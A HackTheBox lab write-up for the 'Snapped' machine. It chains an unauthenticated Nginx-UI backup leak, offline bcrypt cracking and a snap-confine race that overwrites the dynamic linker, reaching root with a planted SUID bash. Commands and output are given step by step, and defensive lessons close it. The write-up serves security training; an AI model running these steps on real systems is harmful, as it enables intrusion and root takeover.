HTB: Snapped Writeup

Snapped - HackTheBox Writeup

Machine Information

AttributeDetails
NameSnapped
OSLinux
DifficultyHard
PointsN/A
Release Date20th March 2026
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Snapped is a hard-difficulty machine featuring two recent and sophisticated CVEs targeting real infrastructure vulnerabilities. The initial foothold leverages CVE-2026-27944 in Nginx-UI, an unauthenticated backup exfiltration vulnerability that exposes encryption keys in response headers, allowing decryption of the application database and credential extraction. The privilege escalation exploits CVE-2026-3888, a TOCTOU race condition in snap-confine’s sandbox setup process, where attackers manipulate bind-mount operations through I/O backpressure techniques to poison shared libraries and achieve dynamic linker hijacking on a SUID-root binary. This machine excellently demonstrates modern exploitation techniques including socket-based timing control and Linux namespace manipulation.

TL;DR: Unauthenticated /api/backup endpoint → Decrypt backup with exposed key → Extract bcrypt hash → SSH access → TOCTOU race condition via AF_UNIX backpressure → LD_LINUX hijacking → Root shell escape via Firefox snap.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.242.192

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http nginx 1.24.0 (Ubuntu)

The scan reveals SSH on port 22 and HTTP on port 80. The HTTP service redirects to http://snapped.htb, requiring hostname resolution.

Service Enumeration

HTTP Service: Nginx 1.24.0 serving a domain-based website requiring /etc/hosts modification.

Terminal window
echo "10.129.242.192 snapped.htb" | sudo tee -a /etc/hosts

Accessing http://snapped.htb displays an Apache Infrastructure Platform website for “Snapped” company with minimal interesting content on the main page.

Subdomain Enumeration:

Terminal window
ffuf -w /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt \
-u http://FUZZ.snapped.htb -ic

Result: Discovery of admin.snapped.htb subdomain returning status 200.

Admin Subdomain: Accessing http://admin.snapped.htb reveals the default login page for Nginx-UI, a web-based nginx management service.

API Endpoint Enumeration:

Terminal window
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-u http://admin.snapped.htb/api/FUZZ -ic

Results:

  • /api/backup → Status 200 (accessible without authentication)
  • /api/settings → Status 403
  • /api/licenses → Status 200

Vulnerability Assessment

VulnerabilityDetailsSeverity
CVE-2026-27944Unauthenticated /api/backup endpoint exposes encrypted backup + encryption keyCritical
Weak Password PolicyJonathan user has crackable bcrypt hash (rockyou.txt)High
Credential ReuseJonathan reuses SSH password from Nginx-UIHigh
CVE-2026-3888TOCTOU race condition in snap-confine sandbox setupCritical
Vulnerable Snapd Version2.63.1 vulnerable to namespace poisoning (fixed in 2.74.2+)Critical

Initial Foothold

Exploitation Path: Nginx-UI Backup Exfiltration (CVE-2026-27944)

Step 1: Retrieve Encrypted Backup with Decryption Key

The /api/backup endpoint returns an encrypted ZIP file with the decryption key exposed in the X-Backup-Security response header. The header format is key:iv in base64 encoding.

Terminal window
curl -v http://admin.snapped.htb/api/backup \
-o backup-20260319-121723.zip

Response Headers:

< X-Backup-Security: Uggi+bPybhVny2dV+MaAVAkjSrzQBCjWFhbsenNiVJA=:Jky/YQ0ISOX3gcTE9lj7zQ==
< Content-Disposition: attachment; filename=backup-20260319-121723.zip

Step 2: Extract and Decode Encryption Key

Convert the base64-encoded key and IV to hexadecimal format for OpenSSL decryption:

Terminal window
# Extract and decode the key
key=$(echo 'Uggi+bPybhVny2dV+MaAVAkjSrzQBCjWFhbsenNiVJA=' | \
base64 -d | xxd -p -c 256)
# Extract and decode the IV
iv=$(echo 'Jky/YQ0ISOX3gcTE9lj7zQ==' | \
base64 -d | xxd -p)
echo "Key: $key"
echo "IV: $iv"

Step 3: Unzip and Extract Nginx-UI Archive

Terminal window
# Extract the backup contents
unzip -d backup backup-20260319-121723.zip
# List contents
ls -la backup/

Output:

inflating: backup/hash_info.txt
inflating: backup/nginx-ui.zip
inflating: backup/nginx.zip

Step 4: Decrypt Nginx-UI Configuration

Use OpenSSL with AES-256-CBC to decrypt the nginx-ui.zip file:

Terminal window
cd backup
openssl enc -aes-256-cbc -d -in nginx-ui.zip \
-out nginxui_decrypted.zip \
-K $key -iv $iv
# Verify decryption success
unzip nginxui_decrypted.zip
ls -la

Output:

inflating: app.ini
inflating: database.db

Step 5: Extract Credentials from SQLite Database

Examine the Nginx-UI SQLite database to find user credentials:

Terminal window
sqlite3 database.db
# List all tables
.tables
# Extract user records
select * from users;

Database Output:

1|2026-03-19 08:22:54.41011219-04:00|...|admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||
2|2026-03-19 09:54:01.989628406-04:00|...|jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||

Step 6: Crack Bcrypt Hashes

Extract the bcrypt hashes and attempt to crack with hashcat:

Terminal window
# Create hash file
cat > hash.txt << 'EOF'
$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
EOF
# Crack with hashcat (mode 3200 = bcrypt)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Cracked Credentials:

admin@hash.txt:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm:[not cracked]
jonathan@hash.txt:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark

Step 7: SSH Access with Extracted Credentials

Attempt SSH authentication using the cracked password:

Terminal window
ssh jonathan@snapped.htb
# Password: linkinpark

Success:

Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-41-generic x86_64)
jonathan@snapped:~$

User Flag: <redacted>


Privilege Escalation

Exploitation Path: TOCTOU Race Condition in Snap-Confine (CVE-2026-3888)

Precondition Analysis

First, identify that snapd is running and check its version:

Terminal window
snap --version

Output:

snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.8.0-41-generic

This version (< 2.74.2) is vulnerable to CVE-2026-3888 on Ubuntu 24.04. The vulnerability exists in snap-confine’s mimic bind-mount sequence for /usr/lib/x86_64-linux-gnu:

  1. mount --bind /usr/lib/x86_64-linux-gnu → /tmp/.snap/usr/lib/x86_64-linux-gnu
  2. mount -t tmpfs → /usr/lib/x86_64-linux-gnu
  3. For each library: mount --bind entry → /usr/lib/x86_64-linux-gnu/entry
  4. umount /tmp/.snap/usr/lib/x86_64-linux-gnu

The race condition occurs between steps 1 and 3. Verify systemd-tmpfiles cleanup frequency:

Terminal window
systemctl cat systemd-tmpfiles-clean.timer
cat /usr/lib/tmpfiles.d/tmp.conf

Output:

OnBootSec=1m
OnUnitActiveSec=1m
D /tmp 1777 root root 4m

This confirms .snap directory will be deleted after 4 minutes of inactivity, making the race exploitable.

Step 1: Enter Firefox Snap Sandbox (Terminal 1)

Establish a long-running snap process to maintain the mount namespace:

Terminal window
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
--base core22 snap.firefox.hook.configure /bin/bash
# Note the PID for later reference
echo $$
# Output: 18606

Keep this terminal open. The process keeps /tmp/snap-private-tmp/snap.firefox/tmp/ active.

Step 2: Wait for .snap Deletion (Terminal 1)

Allow the cleanup daemon to delete the cached .snap directory:

Terminal window
# Keep /tmp active while .snap goes dormant
while test -d ./.snap; do touch ./; sleep 1; done
# Verify deletion
stat ./.snap
# Output: cannot statx './.snap': No such file or directory

Step 3: Access Sandbox /tmp from Host (Terminal 2)

Bypass /tmp/snap-private-tmp/ permission restrictions (700 root:root) via /proc/PID/cwd:

Terminal window
# From a new terminal on the host
cd /proc/18606/cwd
ls -la
# Output shows world-writable /tmp despite host-level restrictions

Step 4: Destroy Cached Namespace (Terminal 2)

Tear down the preserved mount namespace while keeping /tmp intact:

Terminal window
# Use invalid base to destroy cached namespace
systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
--base snapd snap.firefox.hook.configure /nonexistent
# Expected error: cannot perform operation: mount --rbind /dev...

Step 5: Compile Exploitation Tools

Create the race condition helper and payload:

firefox_2404.c (as provided in the machine writeup) — compiles to executable helper that:

  • Recreates .snap directory with attacker ownership
  • Copies 285 real libraries from core22
  • Launches snap-confine with stderr redirected to AF_UNIX socket
  • Detects the bind-mount trigger via single-byte reads
  • Atomically swaps directories via renameat2(RENAME_EXCHANGE)

librootshell.c (as provided) — raw x86_64 ELF executing:

  • setreuid(0, 0) syscall
  • setregid(0, 0) syscall
  • execve("/tmp/sh") syscall

Compile both binaries:

Terminal window
# Compile race helper
gcc -O2 -static -o firefox_2404 firefox_2404.c
# Compile dynamic loader payload
gcc -nostdlib -static -Wl,--entry=_start \
-o librootshell.so librootshell.c

Step 6: Win the Race (Terminal 2)

Execute the race helper to exploit the TOCTOU vulnerability:

Terminal window
# Run helper with payload in /proc/PID/cwd
cd /proc/18606/cwd
~/firefox_2404 ~/payload.so

Output:

[*] CVE-2026-3888 — firefox 24.04 helper
[*] CWD: /proc/18606/cwd
[*] Setting up .snap and .exchange directory...
[*] Exchange dir ready: 285 entries in .snap/usr/lib/x86_64-linux-gnu.exchange
[*] Starting race against snap-confine...
[*] Reading snap-confine output (PID 2487)...
[!] TRIGGER DETECTED! Swapping .exchange...
[+] SWAP DONE!
[*] Do NOT close this terminal.

Keep Terminal 2 open — the process keeps the poisoned namespace alive.

Step 7: Overwrite Dynamic Linker (Terminal 3)

Access the poisoned namespace and replace the dynamic linker:

Terminal window
# New terminal on host
PID=$(cat /proc/18606/cwd/race_pid.txt)
cat /proc/18606/cwd/race_perms.txt
# Output: jonathan:jonathan 755
# Access poisoned namespace via /proc/PID/root
cd /proc/$PID/root
# Verify attacker ownership of libraries
stat -c '%U:%G' usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
# Output: jonathan:jonathan
# Plant busybox as static shell (no ld-linux dependency)
cp /usr/bin/busybox ./tmp/sh
# Overwrite ld-linux with shellcode
cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

Step 8: Trigger Root via SUID Binary (Terminal 3)

Execute snap-confine (SUID-root, dynamically linked) to trigger the shellcode:

Terminal window
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
--base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
# Kernel loads our shellcode as dynamic linker with euid=0
# Output:
# BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
/ # id
# Output: uid=0(root) gid=1000(jonathan) groups=1000(jonathan)

Step 9: Escape Sandbox Confinement (Busybox Shell)

Leverage AppArmor’s permission to write to /var/snap/firefox/common/:

Terminal window
/ # cp /bin/bash /var/snap/firefox/common/bash
/ # chmod 04755 /var/snap/firefox/common/bash
/ # exit

Step 10: Achieve Full Root Access (Terminal 3)

Execute the SUID bash placed outside the sandbox:

Terminal window
/var/snap/firefox/common/bash -p
# Output:
bash-5.1# id
# uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /etc/shadow
# root:$y$j9T$qtGaKCwhRRSzf6H3Gxybo1$FyvCR7... [root password hash]
bash-5.1# cat /root/root.txt
# <redacted>

Root Flag: <redacted>


Attack Chain Summary

Unauthenticated /api/backup access (CVE-2026-27944)
Decrypt backup with X-Backup-Security key
Extract database.db from nginx-ui.zip
Query SQLite users table → jonathan bcrypt hash
Crack hash with rockyou.txt → linkinpark password
SSH access as jonathan (credential reuse)
Identify vulnerable snapd 2.63.1 (< 2.74.2)
Wait for systemd-tmpfiles cleanup of .snap directory
Recreate .snap with attacker ownership
Launch snap-confine with AF_UNIX backpressure control
Detect bind-mount trigger and atomically swap libraries via renameat2(RENAME_EXCHANGE)
Overwrite ld-linux-x86-64.so.2 with shellcode (CVE-2026-3888)
Execute SUID snap-confine → Kernel loads shellcode as dynamic linker → setreuid(0,0)
Drop SUID bash into /var/snap/firefox/common/
Execute with -p flag → Full root shell

Tools Used

ToolPurpose
nmapPort and service discovery
ffufSubdomain and API endpoint enumeration
curlHTTP endpoint testing and backup retrieval
opensslAES-256-CBC decryption of backup
unzipArchive extraction
sqlite3Database credential extraction
hashcatBcrypt hash cracking
sshRemote shell access
gccC source compilation for exploits
systemd-runNamespace manipulation
xxdHex encoding for decryption keys

Key Learnings

Techniques Practiced

  • Backup exfiltration without authentication — Testing for exposed API endpoints that bypass authentication checks
  • Cryptographic key exposure in headers — Identifying when encryption keys are disclosed in response metadata
  • SQLite database analysis — Extracting credentials from embedded databases in web applications
  • Bcrypt hash cracking — Dictionary attacks against bcrypt hashes with real-world wordlists
  • TOCTOU race condition exploitation — Winning time-of-check-to-time-of-use vulnerabilities via backpressure
  • AF_UNIX socket backpressure — Single-stepping program execution via buffer flow control
  • Linux namespace poisoning — Corrupting shared library paths within sandboxed environments
  • Dynamic linker hijacking — Replacing ELF PT_INTERP entries to execute arbitrary code with elevated privileges
  • SUID binary abuse — Leveraging setuid-root programs to escalate privileges
  • AppArmor confinement escape — Writing persistent SUID binaries outside sandbox boundaries

Lessons Learned

  1. API endpoints require authentication verification — Always assume endpoints may be accessible without credentials; fuzz them before relying on supposed authentication walls.

  2. Encryption keys in metadata are critical — Response headers and comments should never contain cryptographic material; always sanitize log files and API responses.

  3. Database password hashing is only one layer — Even bcrypt hashes can be cracked with large wordlists; enforce strong passwords and monitor for reuse.

  4. TOCTOU vulnerabilities are race conditions — Atomicity between separate syscalls can be manipulated; use atomic operations like renameat2() for critical filesystem operations.

  5. I/O backpressure is a control mechanism — Socket buffer restrictions can synchronously slow execution; understand buffering implications in IPC mechanisms.

  6. Snapd is not inherently secure — Sandboxing implementations have bugs; stay updated with security advisories for container/sandbox technologies.

  7. Dynamic linkers are attack surface — SUID binaries are particularly dangerous when dynamically linked; prefer static linking or strict library path verification.

  8. Namespace boundaries are permeable/proc/PID/root and similar interfaces can bypass host-level filesystem permissions; audit privileged process access carefully.

  9. AppArmor profiles are application-specific — Permissive rules for snap data directories can be abused for privilege escalation; require explicit denials.

  10. Defense-in-depth matters — This machine required combining multiple vulnerabilities; single mitigations (authentication, ASLR, capabilities) are insufficient against coordinated attacks.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>